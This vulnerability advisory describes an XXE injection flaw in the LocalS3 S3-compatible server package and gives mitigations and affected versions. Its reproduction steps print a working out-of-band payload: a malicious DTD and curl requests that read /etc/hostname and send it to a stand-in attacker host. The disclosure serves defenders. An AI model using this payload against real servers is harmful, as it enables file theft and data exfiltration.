Medium

LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection

  • Disclosed: 10.03.2025
  • Updated: 11.10.2026 12:21

Description

The LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections.

The vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests.

The vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations.

Steps to Reproduce

  1. Create a malicious DTD file containing the following content:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.domain/?flag=%file;'>">
%eval;
%exfil;
  1. Host the malicious DTD file on an accessible web server

  2. Initialize a multipart upload to the LocalS3 server:

bash
curl -X PUT "http://app/test-bucket/test.txt?uploads"
  1. Send a POST request to complete the multipart upload with the following XML payload:
    bash
    curl -X POST "http://app/test-bucket/test.txt?uploadId=[upload-id]" \
    -H "Content-Type: application/xml" \
    -d '<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
    <!ENTITY % dtd SYSTEM "http://attacker.domain/evil.dtd">
    %dtd;
    ]>
    <CompleteMultipartUpload>
       <Part>
           <PartNumber>1</PartNumber>
           <ETag>test</ETag>
       </Part>
    </CompleteMultipartUpload>'

The server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker's server via an HTTP request.

Mitigations

  • Disable DTD processing in the XML parser configuration
  • If DTD processing is required, disable the ability to load external entities and external DTDs
  • Implement XML parsing with secure defaults using JAXP's XMLConstants.FEATURE_SECURE_PROCESSING feature
  • Set up proper input validation and sanitization for all XML processing operations

Impact

An attacker can exploit this vulnerability to read arbitrary files from the server's filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) io.github.robothy:local-s3-rest < 1.21 1.21

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-611
Platform
Java / Kotlin (Maven)
Package
io.github.robothy:local-s3-rest
Disclosed
10.03.2025
Updated
11.10.2026 12:21

Sources and licenses

OSV / GitHub Advisory Database - GHSA-47qw-ccjm-9c2c - CC BY 4.0

Vulnerability history: io.github.robothy:local-s3-rest

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
03.2025 03.2025
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Medium 4

Disclosures per year

  1. 2025: 4
  2. 2026: 0
  1. LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection this entry
    Medium ghsa-47qw-ccjm-9c2c < 1.21 1.21

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.